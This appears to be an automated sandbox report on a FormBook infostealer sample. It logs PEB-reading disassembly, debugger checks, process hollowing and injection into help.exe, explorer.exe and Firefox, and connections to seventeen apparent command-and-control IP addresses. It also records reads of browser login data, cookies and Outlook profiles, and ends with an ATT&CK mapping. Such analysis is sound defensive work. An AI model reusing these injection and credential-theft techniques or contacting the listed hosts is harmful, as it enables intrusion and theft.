Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82B9C0 mov eax, dword ptr fs:[00000030h]	11_2_1D82B9C0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8289C0 mov eax, dword ptr fs:[00000030h]	11_2_1D8289C0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8289C0 mov eax, dword ptr fs:[00000030h]	11_2_1D8289C0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84D9CE mov eax, dword ptr fs:[00000030h]	11_2_1D84D9CE
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8DD9C6 mov eax, dword ptr fs:[00000030h]	11_2_1D8DD9C6
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8AD9C7 mov eax, dword ptr fs:[00000030h]	11_2_1D8AD9C7
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8199F0 mov ecx, dword ptr fs:[00000030h]	11_2_1D8199F0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8209F0 mov eax, dword ptr fs:[00000030h]	11_2_1D8209F0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8549F0 mov eax, dword ptr fs:[00000030h]	11_2_1D8549F0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8549F0 mov eax, dword ptr fs:[00000030h]	11_2_1D8549F0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84B9FA mov eax, dword ptr fs:[00000030h]	11_2_1D84B9FA
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D876912 mov eax, dword ptr fs:[00000030h]	11_2_1D876912
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D817917 mov eax, dword ptr fs:[00000030h]	11_2_1D817917
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D852919 mov eax, dword ptr fs:[00000030h]	11_2_1D852919
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D852919 mov eax, dword ptr fs:[00000030h]	11_2_1D852919
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E892E mov eax, dword ptr fs:[00000030h]	11_2_1D8E892E
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E892E mov eax, dword ptr fs:[00000030h]	11_2_1D8E892E
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8F492D mov eax, dword ptr fs:[00000030h]	11_2_1D8F492D
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D855921 mov eax, dword ptr fs:[00000030h]	11_2_1D855921
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D855921 mov ecx, dword ptr fs:[00000030h]	11_2_1D855921
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D855921 mov eax, dword ptr fs:[00000030h]	11_2_1D855921
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D855921 mov eax, dword ptr fs:[00000030h]	11_2_1D855921
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D89C920 mov ecx, dword ptr fs:[00000030h]	11_2_1D89C920
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D89C920 mov eax, dword ptr fs:[00000030h]	11_2_1D89C920
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D89C920 mov eax, dword ptr fs:[00000030h]	11_2_1D89C920
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D89C920 mov eax, dword ptr fs:[00000030h]	11_2_1D89C920
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81B931 mov eax, dword ptr fs:[00000030h]	11_2_1D81B931
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81B931 mov eax, dword ptr fs:[00000030h]	11_2_1D81B931
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D849938 mov ecx, dword ptr fs:[00000030h]	11_2_1D849938
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D87693A mov eax, dword ptr fs:[00000030h]	11_2_1D87693A
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D87693A mov eax, dword ptr fs:[00000030h]	11_2_1D87693A
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D87693A mov eax, dword ptr fs:[00000030h]	11_2_1D87693A
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D85C944 mov eax, dword ptr fs:[00000030h]	11_2_1D85C944
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84D940 mov eax, dword ptr fs:[00000030h]	11_2_1D84D940
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84D940 mov eax, dword ptr fs:[00000030h]	11_2_1D84D940
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8ED946 mov eax, dword ptr fs:[00000030h]	11_2_1D8ED946
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84E94E mov eax, dword ptr fs:[00000030h]	11_2_1D84E94E
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8DD947 mov eax, dword ptr fs:[00000030h]	11_2_1D8DD947
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D844955 mov eax, dword ptr fs:[00000030h]	11_2_1D844955
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D844955 mov eax, dword ptr fs:[00000030h]	11_2_1D844955
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A395B mov eax, dword ptr fs:[00000030h]	11_2_1D8A395B
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A395B mov eax, dword ptr fs:[00000030h]	11_2_1D8A395B
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A395B mov eax, dword ptr fs:[00000030h]	11_2_1D8A395B
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82B950 mov eax, dword ptr fs:[00000030h]	11_2_1D82B950
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82B950 mov ecx, dword ptr fs:[00000030h]	11_2_1D82B950
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82B950 mov eax, dword ptr fs:[00000030h]	11_2_1D82B950
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82B950 mov eax, dword ptr fs:[00000030h]	11_2_1D82B950
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82B950 mov eax, dword ptr fs:[00000030h]	11_2_1D82B950
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D82B950 mov eax, dword ptr fs:[00000030h]	11_2_1D82B950
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D85C958 mov eax, dword ptr fs:[00000030h]	11_2_1D85C958
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D83096B mov eax, dword ptr fs:[00000030h]	11_2_1D83096B
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D83096B mov eax, dword ptr fs:[00000030h]	11_2_1D83096B
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D826970 mov eax, dword ptr fs:[00000030h]	11_2_1D826970
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D826970 mov eax, dword ptr fs:[00000030h]	11_2_1D826970
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D826970 mov eax, dword ptr fs:[00000030h]	11_2_1D826970
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D826970 mov eax, dword ptr fs:[00000030h]	11_2_1D826970
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D826970 mov eax, dword ptr fs:[00000030h]	11_2_1D826970
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D826970 mov eax, dword ptr fs:[00000030h]	11_2_1D826970
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D826970 mov eax, dword ptr fs:[00000030h]	11_2_1D826970
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8C1889 mov eax, dword ptr fs:[00000030h]	11_2_1D8C1889
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8C1889 mov eax, dword ptr fs:[00000030h]	11_2_1D8C1889
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8C1889 mov eax, dword ptr fs:[00000030h]	11_2_1D8C1889
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D847882 mov eax, dword ptr fs:[00000030h]	11_2_1D847882
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D846882 mov eax, dword ptr fs:[00000030h]	11_2_1D846882
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D846882 mov eax, dword ptr fs:[00000030h]	11_2_1D846882
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D846882 mov eax, dword ptr fs:[00000030h]	11_2_1D846882
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D85188E mov eax, dword ptr fs:[00000030h]	11_2_1D85188E
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D85188E mov eax, dword ptr fs:[00000030h]	11_2_1D85188E
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D85B890 mov eax, dword ptr fs:[00000030h]	11_2_1D85B890
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D85B890 mov eax, dword ptr fs:[00000030h]	11_2_1D85B890
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D85B890 mov eax, dword ptr fs:[00000030h]	11_2_1D85B890
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D84D898 mov eax, dword ptr fs:[00000030h]	11_2_1D84D898
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8D8890 mov eax, dword ptr fs:[00000030h]	11_2_1D8D8890
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8D8890 mov eax, dword ptr fs:[00000030h]	11_2_1D8D8890
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81F8B0 mov eax, dword ptr fs:[00000030h]	11_2_1D81F8B0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81F8B0 mov eax, dword ptr fs:[00000030h]	11_2_1D81F8B0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81F8B0 mov eax, dword ptr fs:[00000030h]	11_2_1D81F8B0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81F8B0 mov eax, dword ptr fs:[00000030h]	11_2_1D81F8B0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81F8B0 mov eax, dword ptr fs:[00000030h]	11_2_1D81F8B0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81F8B0 mov eax, dword ptr fs:[00000030h]	11_2_1D81F8B0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81F8B0 mov eax, dword ptr fs:[00000030h]	11_2_1D81F8B0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81F8B0 mov eax, dword ptr fs:[00000030h]	11_2_1D81F8B0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81F8B0 mov eax, dword ptr fs:[00000030h]	11_2_1D81F8B0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81F8B0 mov eax, dword ptr fs:[00000030h]	11_2_1D81F8B0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D81F8B0 mov eax, dword ptr fs:[00000030h]	11_2_1D81F8B0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8A98B2 mov eax, dword ptr fs:[00000030h]	11_2_1D8A98B2
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8328C0 mov eax, dword ptr fs:[00000030h]	11_2_1D8328C0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8328C0 mov eax, dword ptr fs:[00000030h]	11_2_1D8328C0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8328C0 mov eax, dword ptr fs:[00000030h]	11_2_1D8328C0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8328C0 mov eax, dword ptr fs:[00000030h]	11_2_1D8328C0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8328C0 mov eax, dword ptr fs:[00000030h]	11_2_1D8328C0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8328C0 mov eax, dword ptr fs:[00000030h]	11_2_1D8328C0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8328C0 mov eax, dword ptr fs:[00000030h]	11_2_1D8328C0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8328C0 mov eax, dword ptr fs:[00000030h]	11_2_1D8328C0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8328C0 mov eax, dword ptr fs:[00000030h]	11_2_1D8328C0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8328C0 mov eax, dword ptr fs:[00000030h]	11_2_1D8328C0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8328C0 mov eax, dword ptr fs:[00000030h]	11_2_1D8328C0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8328C0 mov eax, dword ptr fs:[00000030h]	11_2_1D8328C0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8328C0 mov eax, dword ptr fs:[00000030h]	11_2_1D8328C0
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8188C8 mov eax, dword ptr fs:[00000030h]	11_2_1D8188C8
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8188C8 mov eax, dword ptr fs:[00000030h]	11_2_1D8188C8
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8208CD mov eax, dword ptr fs:[00000030h]	11_2_1D8208CD
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8208CD mov eax, dword ptr fs:[00000030h]	11_2_1D8208CD
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E18DA mov eax, dword ptr fs:[00000030h]	11_2_1D8E18DA
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E18DA mov eax, dword ptr fs:[00000030h]	11_2_1D8E18DA
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E18DA mov eax, dword ptr fs:[00000030h]	11_2_1D8E18DA
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8E18DA mov eax, dword ptr fs:[00000030h]	11_2_1D8E18DA
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8298DE mov eax, dword ptr fs:[00000030h]	11_2_1D8298DE
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8178E1 mov eax, dword ptr fs:[00000030h]	11_2_1D8178E1
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Code function: 11_2_1D8258E0 mov eax, dword ptr fs:[00000030h]	11_2_1D8258E0

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe

Code function: 2_2_03341F72 LdrLoadDll,

2_2_03341F72

HIPS / PFW / Operating System Protection Evasion

Source: C:\Windows\explorer.exe	Network Connect: 154.204.24.45 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 192.185.32.157 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 194.245.148.189 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 208.91.197.39 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 192.232.217.125 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 64.190.63.111 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 103.91.8.90 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 66.29.151.40 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 38.55.15.214 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 45.130.41.24 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.101.158.239 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 75.2.81.212 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 50.87.192.144 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 2.57.90.16 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 103.63.2.175 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 198.58.118.167 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 195.24.68.23 80	Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe

Section unmapped: C:\Windows\SysWOW64\help.exe base address: E0000

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Section loaded: unknown target: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Section loaded: unknown target: C:\Windows\SysWOW64\help.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Section loaded: unknown target: C:\Windows\SysWOW64\help.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Section loaded: unknown target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Section loaded: unknown target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\help.exe

Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 7FF6C7650000

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\help.exe

Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 7FF6C7650000 value starts with: 4D5A

Queues an APC in another process (thread injection)

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe

Thread APC queued: target process: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Thread register set: target process: 7608			Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Thread register set: target process: 4696			Jump to behavior

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe	Process created: C:\Users\user\Desktop\Jjfmcz1Hsz.exe C:\Users\user\Desktop\Jjfmcz1Hsz.exe			Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\Firefox.exe			Jump to behavior

Source: RAVCpl64.exe, 00000012.00000000.1269474628.0000000000DC1000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000012.00000002.5816935645.0000000000DC1000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000012.00000000.1278671586.0000000000DC1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: RAVCpl64.exe, 00000012.00000000.1269474628.0000000000DC1000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000012.00000002.5816935645.0000000000DC1000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000012.00000000.1278671586.0000000000DC1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: RAVCpl64.exe, 00000012.00000000.1269474628.0000000000DC1000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000012.00000002.5816935645.0000000000DC1000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000012.00000000.1278671586.0000000000DC1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: RAVCpl64.exe, 00000012.00000000.1269474628.0000000000DC1000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000012.00000002.5816935645.0000000000DC1000.00000002.00000001.00040000.00000000.sdmp, RAVCpl64.exe, 00000012.00000000.1278671586.0000000000DC1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\Jjfmcz1Hsz.exe

Code function: 2_2_00405D1B GetVersion,GetSystemDirectoryA,GetWindowsDirectoryA,SHGetSpecialFolderLocation,SHGetPathFromIDListA,CoTaskMemFree,lstrcatA,lstrlenA,

2_2_00405D1B

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 0000000B.00000002.1323306443.0000000000060000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.5817316852.0000000003610000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000000.1278161969.00000000006E1000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.5815954782.00000000035E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1342878125.000000001D4A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000000.1285874295.00000000006E1000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.5794216135.0000000002F30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\help.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\help.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 0000000B.00000002.1323306443.0000000000060000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.5817316852.0000000003610000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000000.1278161969.00000000006E1000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.5815954782.00000000035E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.1342878125.000000001D4A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000000.1285874295.00000000006E1000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.5794216135.0000000002F30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	3 File and Directory Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	3 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	1 Shared Modules	1 Windows Service	1 Access Token Manipulation	3 Obfuscated Files or Information	LSASS Memory	5 System Information Discovery	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	21 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	1 Windows Service	1 Software Packing	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	Automated Exfiltration	4 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	712 Process Injection	1 DLL Side-Loading	NTDS	12 Virtualization/Sandbox Evasion	Distributed Component Object Model	1 Clipboard Data	Scheduled Transfer	15 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	12 Virtualization/Sandbox Evasion	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	712 Process Injection	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Jjfmcz1Hsz.exe	46%	Virustotal		Browse
Jjfmcz1Hsz.exe	38%	ReversingLabs	Win32.Trojan.NSISInject

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsl1543.tmp\System.dll	0%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
11.0.Jjfmcz1Hsz.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1223491	Download File
11.0.Jjfmcz1Hsz.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1223491	Download File
2.0.Jjfmcz1Hsz.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1223491	Download File
30.2.firefox.exe.28e93814.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
2.2.Jjfmcz1Hsz.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1223491	Download File
30.0.firefox.exe.28e93814.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
11.0.Jjfmcz1Hsz.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1223491	Download File
